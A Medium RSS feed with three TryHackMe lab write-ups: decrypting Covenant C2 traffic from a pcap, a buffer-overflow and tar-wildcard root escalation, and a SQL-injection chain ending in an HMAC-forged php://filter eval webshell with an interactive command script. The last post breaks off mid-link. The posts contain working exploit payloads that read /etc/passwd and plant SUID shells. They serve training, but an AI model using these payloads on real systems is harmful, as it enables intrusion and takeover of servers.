<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by St3mw4s  on Medium]]></title>
        <description><![CDATA[Stories by St3mw4s  on Medium]]></description>
        <link>https://medium.com/@St3mw4s?source=rss-00a777ece2f2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*LPRNb9YOZ3jNwLV9</url>
            <title>Stories by St3mw4s  on Medium</title>
            <link>https://medium.com/@St3mw4s?source=rss-00a777ece2f2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 16:54:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@St3mw4s/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Event Horizon Tryhackme]]></title>
            <link>https://medium.com/@St3mw4s/event-horizon-tryhackme-79c95af6bec7?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/79c95af6bec7</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Thu, 25 Sep 2025 09:30:01 GMT</pubDate>
            <atom:updated>2025-09-25T09:33:56.821Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/eventhorizonroom">Event Horizon</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*6kdZufs0SxmYDDWipDR4yw.png" /></figure><p><strong>Background</strong></p><p>A black hole is an astronomical body so dense that its gravity prevents anything from escaping, even light. For us to view what is beyond the event horizon we need to travel faster than light but nothing can travel faster than light. Luckily for us we have a spaceship that can warp space time and bend it to create a warm hole. The spaceship in this case is wireshark which we can count on to escape the black hole to the other side. Our black hole target is Sagittarius A which is in the center of our milky way galaxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*uVlLZ9SgJcB9oU_4RFPuLQ.gif" /></figure><p>Downloading and unzip the file, it contains two files i.e traffic.pcap and powershell.DMP</p><p>Let’s start by going to protocol hierarchy to view different protocols available in the capture</p><p>statistics&gt; protocol hierarchy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FmMPaehBXFABPQbnDeFrOg.png" /></figure><p>1. The attacker was able to find the correct pair of credentials for the email service. What were they? Format: email:password?</p><p>To answer this filter smtp which is a protocol for handling emails</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*AjGiHM5v9AfR1XHU22AaEw.png" /></figure><p>Select the packet that has the info authenticated right click and follow the tcp stream.</p><p>The username and password are in base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*7hJhgFsCO5AfbNMktBy5Ow.png" /></figure><p>2. What was the body of the email that was sent by the attacker?</p><p>Scroll down in the same packet stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*VDddnJP1yhCtc4Qb0OcMaw.png" /></figure><p>3. What command initiated the malicious script download?</p><p>In the same packet a file named eventhorizon.ps1 was sent. Copy the base64 and input it into <a href="https://cyberchef.org/">cyberchef</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*6oR4Z8kgQjrkFfnsLtAIAw.png" /></figure><p>After decoding using the recipe from base64 you will find the URL at the bottom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*3ZiSFfZY1X3HvNYz53gRgQ.png" /></figure><p>4. What is the initial AES key that is used for decrypting the C2 traffic?</p><p>Filter for http traffic and look for that particular file found in the previous question</p><pre>http.request.method == &quot;GET&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*EKzfP-rT2sfeDnuh5VNIqg.png" /></figure><p>Right click and follow http stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*AFJ_h_LElOh4gyV2OUuZxg.png" /></figure><p>There is a string which is base64 encoded and also compressed as indicated towards the end of the stream. I asked chatgpt to write a script to decode the payload</p><pre>import base64, zlib<br><br># --- paste the Base64 string between the triple quotes ---<br>b64_data = &quot;&quot;&quot;<br>7VprcBvXdT53F1gsIQnigk9JpAQ9KEEURfOpl2V....<br>qR371+E6//BQ==<br>&quot;&quot;&quot;<br># Base64 decode to compressed bytes<br>compressed = base64.b64decode(b64_data)<br><br># Decompress (raw DEFLATE)<br># wbits=-15 tells zlib it&#39;s raw deflate without zlib headers<br>decompressed = zlib.decompress(compressed, wbits=-15)<br><br># Write to disk for analysis<br>with open(&quot;payload.dll&quot;, &quot;wb&quot;) as f:<br>    f.write(decompressed)<br><br>print(f&quot;Decoded and decompressed {len(decompressed)} bytes to payload.dll&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*Z4A_4cQIC77QCrpCu8JJjg.png" /></figure><p>Checking the hash in virus total reveals the family label as covenant.</p><p>Use dnspy to check the source code of the payload we are able to retrieve the key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*0JIt1xxuW_oqJ7Pj2WBVlg.png" /></figure><p>5. What is the Administrator NTLM hash that the attacker found?</p><p>Upon some research we find this Covenant decryption <a href="https://github.com/naacbin/CovenantDecryptor">tool</a> from GitHub</p><p>First we need to extract traffic exchanged with the C2<br>You can filter http traffic and look for file named test.html and follow the http stream. Remove all other data and leave base64 data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*hwE8VaWMSRwfSdm4BntBIA.png" /></figure><p>or use tshark</p><pre>tshark -r traffic.pcapng -Y &quot;tcp.stream == 1490 and http&quot; -T fields -e http.file_data | sed -e &#39;s/&lt;[^&gt;]*&gt;//g&#39; | sed &#39;s/Hello World!//g&#39; | sed &#39;s/\\n//g&#39; | sed &#39;s/\/\///g&#39; | tr -d &quot; &quot; | awk &#39;NF&#39; &gt; traffic.txt</pre><p>For us to decrypt the traffic we need a session key which will be obtained after acquiring the modulus and the private key.</p><p>Use the Covenant decryption tool to find the modulus</p><pre>python3 decrypt_covenant_traffic.py modulus -i traffic.txt -k &quot;l8..&quot; -t base64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*3SjoNdT_432pqXs6TSPt7A.png" /></figure><p>Use the modulus to extract the private key from powershell.DMP</p><p>First you need to create a directory to extract the private key to</p><pre>python3 extract_privatekey.py -i powershell.DMP -m 23….9 -o keys</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*TJMCf77fysx9qyrtwyqL_A.png" /></figure><p>Now using the private key we can extract the session key</p><pre>python3 decrypt_covenant_traffic.py key -i texttraffic.txt - key l8…s8= -t base64 -r keys/privkey1.pem -s 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*8k2kyyCudNz8Hxi-JdQ54Q.png" /></figure><p>Using the session key we can finally decrypt the C2 communication</p><pre>python3 decrypt_covenant_traffic.py decrypt -i texttraffic.txt -k 17….1 -t hex -s 2 &gt; decode.txt</pre><p>cat decode.txt</p><p>scroll down to see the admin NTLM hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*70kwd5W3b4AiePBxf7imXg.png" /></figure><p>6. What is the flag?</p><p>There is a base64 string at message 15</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*Co-IUbj-JM1cHE0YM_nrpQ.png" /></figure><p>Copy and paste to cyberchef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*VSf2HqAhgWIbmFJh-UieOw.png" /></figure><p>Use the recipe render image to preview it however, there seems to be an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*T5A_sEsHoE0lQjXte1Z9ww.png" /></figure><p>I used this<a href="https://base64.guru/tools/repair"> site</a> to repair the base64 string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8rljdGu0Jax741Az1Jcw8g.png" /></figure><p>Copy paste repaired string one to cyberchef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lp8m-xb45AZgjXufzV7cWA.png" /></figure><p>download the image to see the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*icXFftoUmyl3nOnYEm0P1w.png" /></figure><p>Finally we have escaped the gravity and on the other side a new reality has unfolded in front of our eyes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*UMZ1mpqFizjh59qpDcOE_Q.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79c95af6bec7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous Playground Tryhackme]]></title>
            <link>https://medium.com/@St3mw4s/anonymous-playground-tryhackme-357287197a3f?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/357287197a3f</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Sat, 20 Sep 2025 09:30:17 GMT</pubDate>
            <atom:updated>2025-09-20T09:31:13.391Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/anonymousplayground">Anonymous Playground</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*f5Rn24MzRCNw3JqP7K28Bw.png" /></figure><p><strong>Recon</strong><br>rustscan -a ip</p><p>open ports 22,80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*C3Q2OV50K8txwQ-DuDZ-Zw.png" /></figure><p>port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNpEz1carUdoZMbkA41qRA.png" /></figure><p>I took note of the operatives names and saved them into a file in case we need to perform a brute force attack</p><p>Directory bursting</p><pre>gobuster dir -u http://10.10.121.57 -w /usr/share/wordlists/dirb/common.txt -t 5</pre><p>location /robots.txt reveals another web page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*k13t67TfKF4a6u3WuVlt7w.png" /></figure><p>the disallowed location is a web page with message access denied</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*HnSc6ijOs8rnTHIdQgpzHQ.png" /></figure><p>Use developer tools to view if there is any cookies present</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_eKxOuSmH2Ve_JLMaSLSXA.png" /></figure><p>The cookie is not that complicated we can change the value to granted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xgt1r4q8he1K5vEHrUy9Aw.png" /></figure><p>Reload the page after altering the cookie value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XqncHtk_a6KwIE4LunDH8w.png" /></figure><p>Some gibberish?<br>Lets look at the hint for flag 1 and it says we need make a python script ‘zA’ =’a’</p><p>after substituting the letters the result is</p><p>hEadCfHa::hEadCfHahAiJaeIaDjBcBhHgAafHfN</p><p>This indicates a possible username and a password combination. let’s separate the two and divide further in pairs of two letters. Considering we already replaces zA with a and the final result is<br>hE a d Cf H a</p><p>Looking at the operatives names one name,magna, follows this pattern where letter a is in second and fifth position. I prompted chatgpt to come up with a python script to apply that logic to all other letters.</p><pre>def decode_cipher(text):<br>    out = []<br>    i = 0<br>    while i &lt; len(text):<br>        if i+1 &lt; len(text) and text[i].islower() and text[i+1].isupper():<br>            lower = text[i]<br>            upper = text[i+1]<br>            offset = ord(upper) - ord(&#39;A&#39;) + 1      # A=1..Z=26<br>            decoded = chr(((ord(lower) - ord(&#39;a&#39;) + offset) % 26) + ord(&#39;a&#39;))<br>            out.append(decoded)<br>            i += 2<br>        else:<br>            out.append(text[i])<br>            i += 1<br>    return &#39;&#39;.join(out)<br><br>cipher = &quot;hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN&quot;<br>print(decode_cipher(cipher)) </pre><p>This gives us username and password to use for ssh service</p><p><strong>Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*UiE_TUTfmNVUlNCdJ37gLg.png" /></figure><p>The note says we can use radare which is installed in the machine.</p><p>Open the binary with radare in debug mode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*E5l7tp9VWpOm3_WvPFESCg.png" /></figure><p>List all available functions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*c88ryF4X0Bs__hE0rxqZVw.png" /></figure><p>There is this function sym.call_bash that we can view more about it using <br>pdf@sym.call_bash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*OcLd4ZSW6CX08FDf783qvA.png" /></figure><p>The function runs /bin/bash which we are interested in<br>We can try buffer overflow since there is a gets function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*HTrc12Ol-idQIKrU6pESNQ.png" /></figure><p>Overflow occurs from 72 characters</p><pre>(python -c &#39;print &quot;A&quot;*72 + &quot;\x58\x06\x40\x00\x00\x00\x00\x00&quot;&#39;; cat) | ./hacktheworld</pre><p>Here’s what that one-liner is doing:</p><pre>`python -c &#39;print &quot;A&quot;*72 + &quot;\x58\x06\x40\x00\x00\x00\x00\x00&quot;&#39;`<br>    <br>    - Sends 72 `A` characters to overflow the buffer.<br>        <br>    - Appends the 8-byte little-endian address `0x0000000000400658` (likely a gadget or function such as `system` or a `win()` routine).<br>        <br>- `; cat`<br>    <br>    - Keeps the pipe open so stdin remains attached to your terminal.<br>        <br>    - Without it, the program might exit after reading the payload, and you wouldn’t be able to interact with any shell that pops.<br>        <br>- `| ./hacktheworld`<br>    <br>    - Feeds the combined output directly into the vulnerable binary.</pre><p>Using the address 0x00400658 we are skipping<a href="https://stackoverflow.com/questions/64729055/what-does-aligning-the-stack-mean-in-assembly"> push</a> command and going further into the function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*X8NKQUfx_EVmdgOUUyt4mQ.png" /></figure><p>Checking the /etc/crontab indicates that every minute root will compress everything in spooky’s home directory using a tar wildcard in which we can <a href="https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html#tar">exploit.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*nKkCvUpVstmyTIG3ShtFVA.png" /></figure><pre>echo &#39;pwaned&#39; &gt; &#39; - checkpoint=1&#39;<br>echo &#39;pwaned&#39; &gt; &#39; - checkpoint-action=exec=sh shell.sh&#39;</pre><p>Create a file named shell.sh which copies the bash script to home folder of spooky and sets suid permissions</p><pre>#!/bin/bash <br>cp /bin/bash /home/spooky<br>chmod +s /home/spooky/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*6L36kvdTyR2VNfIN4wr5GQ.png" /></figure><p>Wait one minute before running the command<br>/home/spooky/bash -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*9BW-4VIVQ2fTcn9eWKJm3A.png" /></figure><p>ROOTED!!</p><p>We have passed the Anonymous interview</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*xZu9v2JQPFWThMJt2u5vvg.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=357287197a3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Moebius Tryhackme Writeup]]></title>
            <link>https://medium.com/@St3mw4s/moebius-tryhackme-writeup-d9b1790f1225?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9b1790f1225</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Mon, 05 May 2025 09:31:20 GMT</pubDate>
            <atom:updated>2025-05-05T09:31:20.073Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/moebius">Moebius</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_KljQA1nbSYH23eK8SNzg.png" /></figure><p>Port scan</p><p>rustscan -a 10.10.213.188 — -sC -sV -Pn</p><p>80<br>22</p><p>Visiting port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*YMq81yIvlKJYej2CMl6YjQ.png" /></figure><p>Click one of the URL <a href="http://10.10.213.188/album.php?short_tag=cute">http://10.10.213.188/album.php?short_tag=cute</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*Av6dVi-XSXBiTjM1Dnb4Kg.png" /></figure><p>Lets click on one of the cats</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*qwZLn9p551NvnSde5qUrtQ.png" /></figure><p>The link to the cat image is<br><a href="http://10.10.213.188/image.php?hash=9d99cff7a7a514a7285191560fa130f146d4c1ec2bbff1bb477d37eb5d2a71c3&amp;path=/var/www/images/cat1.jpg">http://10.10.213.188/image.php?hash=9d99cff7a7a514a7285191560fa130f146d4c1ec2bbff1bb477d37eb5d2a71c3&amp;path=/var/www/images/cat1.jpg</a></p><p><strong>SQL Injection</strong><br>Lets append the (‘) apostrophe symbol at the end of the URL as below</p><p><a href="http://10.10.213.188/album.php?short_tag=cute&#39;">http://10.10.213.188/album.php?short_tag=cute&#39;</a></p><p>we get and error which revealed the type of database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*4ALvfelrgNYbyBfyI3ge1w.png" /></figure><p>Again append ‘AND 1=1;-- -’ at the end of the url<br><a href="http://10.10.213.188/album.php?short_tag=cute%27AND%201=1;--%20-">http://10.10.213.188/album.php?short_tag=cute%27AND%201=1;--%20-</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*kbb8mlyaLZ6D3MRS2tbYrA.png" /></figure><p>Lets now use sqlmap</p><pre>sqlmap -u &#39;http://10.10.213.188/album.php?short_tag=cute&#39; -p short_tag - risk 3 - level 5 - threads 10 - batch -D web - hex - dump</pre><p>We are able to retrieve two tables</p><p>Table named images</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*1Xys_WO4XVybtSvIAlOdbA.png" /></figure><p>Table named albums</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*lkjLky1ei7Y226oMZn0FIQ.png" /></figure><p>We did not see any hashes in the database this is probably because they are generated by a program.</p><p>Let use the payload ‘moebus’ UNION SELECT 0 — -’ in the URL</p><p><a href="http://10.10.213.188/album.php?short_tag=moebus%27%20UNION%20SELECT%200--%20-">http://10.10.213.188/album.php?short_tag=moebus%27%20UNION%20SELECT%200--%20-</a></p><p>It shows we can control the Album id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*PiUQQ9G7LpX0dyau0wVXiQ.png" /></figure><p>Crafting our payload further `moebus’ UNION SELECT “0 OR 1=1 — -” — — `</p><p>view-source:<a href="http://10.10.213.188/album.php?short_tag=moebus%27%20UNION%20SELECT%20%220%20OR%201=1--%20-%22--%20-">http://10.10.213.188/album.php?short_tag=moebus%27%20UNION%20SELECT%20%220%20OR%201=1--%20-%22--%20-</a></p><p>This returns all the records</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fpBeMbOXMzK9lVVKMX96VQ.png" /></figure><p>view-source:<a href="http://10.10.213.188/album.php?short_tag=moebus%27%20UNION%20SELECT%20%220%20UNION%20SELECT%201,2,3--%20-%22--%20-">http://10.10.213.188/album.php?short_tag=moebus%27%20UNION%20SELECT%20%220%20UNION%20SELECT%201,2,3--%20-%22--%20-</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8lGsbi1lrPrafepOJtdvdw.png" /></figure><p>Let use UNION again to read files</p><pre>moebus&#39; UNION SELECT &quot;0 UNION SELECT 1,2,&#39;/etc/passwd&#39; - -&quot; - -</pre><p>view-source:<a href="http://10.10.213.188/album.php?short_tag=moebus%27%20UNION%20SELECT%20%220%20UNION%20SELECT%201,2,%27/etc/passwd%27--%20-%22--%20-">http://10.10.213.188/album.php?short_tag=moebus%27%20UNION%20SELECT%20%220%20UNION%20SELECT%201,2,%27/etc/passwd%27--%20-%22--%20-</a></p><p>Again there is some filters</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*wsskPSM9ozas8w6aBvDWeA.png" /></figure><p>Encode the path /etc/passwd to hex</p><p>echo -n “/etc/passwd” | xxd -p | tr -d ‘\n’ | sed ‘s/^/0x/’</p><p>Explanation step by step:</p><pre>1. echo -n &quot;/etc/passwd&quot;`<br> Prints the string `/etc/passwd` **without** a trailing newline.<br> <br>2. xxd -p <br> Converts the string to a plain hexadecimal representation (i.e., it will output the ASCII hex values of each character in the string).<br> <br>3. tr -d &#39;\n&#39;<br> Removes any newline characters from the output, making it one continuous hex string.<br> <br>4. sed &#39;s/^/0x/&#39;<br> Adds `0x` at the beginning to make it look like a hexadecimal literal.</pre><p>The final payload</p><pre>moebus&#39; UNION SELECT &quot;0 UNION SELECT 1,2,0x2f6574632f706173737764-- -&quot;-- -</pre><p>It worked and now we have a link to the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jPmE0IECeKZbroeth_Hy0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*ROD7W9V1RsdNQfL_bqDahQ.png" /></figure><p>Utilize the PHP stream wrappers ,php://filter, to read internal application files. We can start by targeting album.php<br>php://filter/convert.base64-encode/resource=album.php</p><p>hex encode<br>echo -n “php://filter/convert.base64-encode/resource=album.php” | xxd -p | tr -d ‘\n’ | sed ‘s/^/0x/’</p><pre>moebus&#39; UNION SELECT &quot;0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d616c62756d2e706870-- -&quot;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*rLKR3aKu0Uu0szoUINPaLw.png" /></figure><p>Also follow the link with the hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*9gJUAOWlRbuhMMbDXrzAmg.png" /></figure><p>Copy the base64 string and use cyber chef to decode it.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>&lt;meta charset=&quot;UTF-8&quot;&gt;<br>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>&lt;title&gt;Image Grid&lt;/title&gt;<br>&lt;link rel=&quot;stylesheet&quot; href=&quot;/style.css&quot;&gt; &lt;! - Link to external CSS file →<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;?php<br>include(&#39;dbconfig.php&#39;);<br>try {<br> // Create a new PDO instance<br> $conn = new PDO(&quot;mysql:host=$servername;dbname=$dbname&quot;, $username, $password);<br> <br> // Set PDO error mode to exception<br> $conn-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br> <br> if (preg_match(&#39;/[\/;]/&#39;, $_GET[&#39;short_tag&#39;])) {<br> // If it does, terminate with an error message<br> die(&quot;Hacking attempt&quot;);<br> }<br>$album_id = &quot;SELECT id from albums where short_tag = &#39;&quot; . $_GET[&#39;short_tag&#39;] . &quot;&#39;&quot;;<br> $result_album = $conn-&gt;prepare($album_id);<br> $result_album-&gt;execute();<br> <br> $r=$result_album-&gt;fetch();<br> $id=$r[&#39;id&#39;];<br> <br> <br> // Fetch image IDs from the database<br> $sql_ids = &quot;SELECT * FROM images where album_id=&quot; . $id;<br> $stmt_path= $conn-&gt;prepare($sql_ids);<br> $stmt_path-&gt;execute();<br> <br> // Display the album id<br> echo &quot;&lt;! - Short tag: &quot; . $_GET[&#39;short_tag&#39;] . &quot; - Album ID: &quot; . $id . &quot; →\n&quot;;<br> // Display images in a grid<br> echo &#39;&lt;div class=&quot;grid-container&quot;&gt;&#39; . &quot;\n&quot;;<br> foreach ($stmt_path as $row) {<br> // Get the image ID<br> $path = $row[&quot;path&quot;];<br> $hash = hash_hmac(&#39;sha256&#39;, $path, $SECRET_KEY);<br>// Create link to image.php with image ID<br> echo &#39;&lt;div class=&quot;image-container&quot;&gt;&#39; . &quot;\n&quot;;<br> echo &#39;&lt;a href=&quot;/image.php?hash=&#39;. $hash . &#39;&amp;path=&#39; . $path . &#39;&quot;&gt;&#39;;<br> echo &#39;&lt;img src=&quot;/image.php?hash=&#39;. $hash . &#39;&amp;path=&#39; . $path . &#39;&quot; alt=&quot;Image path: &#39; . $path . &#39;&quot;&gt;&#39;;<br> echo &quot;&lt;/a&gt;\n&quot;;<br> echo &quot;&lt;/div&gt;\n&quot;;;<br> }<br> echo &quot;&lt;/div&gt;\n&quot;;<br>} catch(PDOException $e) {<br> echo &quot;Connection failed: &quot; . $e-&gt;getMessage();<br>}<br>// Close the connection<br>$conn = null;<br>?&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>the decoded file reveals that HMAC-SHA256 is being used. Now we can craft the payload to read dbconfig.php</p><pre>echo -n &quot;php://filter/convert.base64-encode/resource=dbconfig.php&quot; | xxd -p | tr -d &#39;\n&#39; | sed &#39;s/^/0x/&#39;</pre><p>payload</p><pre>moebus&#39; UNION SELECT &quot;0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d6462636f6e6669672e706870-- -&quot;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_zon_eDaFtTBdEImX6mVJA.png" /></figure><p>Again follow the link to the hash and copy the base64 string to cyberchef to see the contents of dbconfig.php</p><pre>&lt;?php<br>// Database connection settings<br>$servername = &quot;db&quot;;<br>$username = &quot;web&quot;;<br>$password = &quot;TAJnF6YuIot83X3g&quot;;<br>$dbname = &quot;web&quot;;<br>$SECRET_KEY=&#39;an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW&#39;;<br>?&gt;</pre><p>Since we have the secrete key we can use it to generate hashes</p><pre>import hmac<br>import hashlib<br><br># Secret key (as bytes)<br>secret_key = b&#39;an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW&#39;<br><br># Path as bytes<br>path = b&quot;php://filter/convert.base64-encode/resource=image.php&quot;<br><br># Generate HMAC-SHA256<br>hmac_hash = hmac.new(secret_key, path, hashlib.sha256).hexdigest()<br><br>print(&quot;HMAC-SHA256:&quot;, hmac_hash)</pre><p>Run the script to get the hash</p><p>ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6</p><p>Use curl to confirm if the hash is valid</p><pre>curl -s &#39;http://10.10.213.188/image.php?hash=ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6&amp;path=php://filter/convert.base64-encode/resource=image.php&#39; | base64 -d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*wyupeky9GtN7kbh4GbARsg.png" /></figure><p>Indeed the hash is valid</p><p>Exploitation<br>Use the tool<a href="https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py"> https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py</a> to generate a custome pyload</p><pre>python3 php_filter_chain_generator.py --chain &#39;&lt;?php @eval($_REQUEST[&quot;0&quot;]); ?&gt;&#39;</pre><p>note the output and use it in the following script</p><pre>import hmac<br>import hashlib<br>import requests<br><br># Change to your actual target<br>target_url = &quot;http://10.10.213.188/image.php&quot;<br><br># Secret key for HMAC generation<br>secret_key = b&quot;an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW&quot;<br><br># Empty path<br>path = b&quot;&quot; # replace with the output of php_filter_chain_generator.py <br><br># Generate HMAC-SHA256 for the empty path<br>signature = hmac.new(secret_key, path, hashlib.sha256).hexdigest()<br><br># Interactive loop to send PHP code via GET parameter (e.g., ?0=phpcode)<br>while True:<br>    try:<br>        cmd = input(&quot;code&gt; &quot;)<br><br>        params = {<br>            &quot;hash&quot;: signature,<br>            &quot;path&quot;: &quot;&quot;,  # empty path<br>            &quot;0&quot;: cmd     # likely to be interpreted as $_GET[0] on the server<br>        }<br><br>        response = requests.get(target_url, params=params, timeout=5)<br>        print(response.text)<br>    except KeyboardInterrupt:<br>        print(&quot;\n[!] Exiting...&quot;)<br>        break<br>    except Exception as e:<br>        print(&quot;[!] Error:&quot;, e)</pre><p>Running the script and sending the command ,system(‘id’); , we get an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*mAVd5EUU8ysKRWUrf81j4g.png" /></figure><p>Lets look for disabled functions<br>echo ini_get(‘disable_functions’);</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*PwxOAKGctg2G2Yy2wr7-ag.png" /></figure><p>There is this blog that discusses how to bypass dissabled functions<br><a 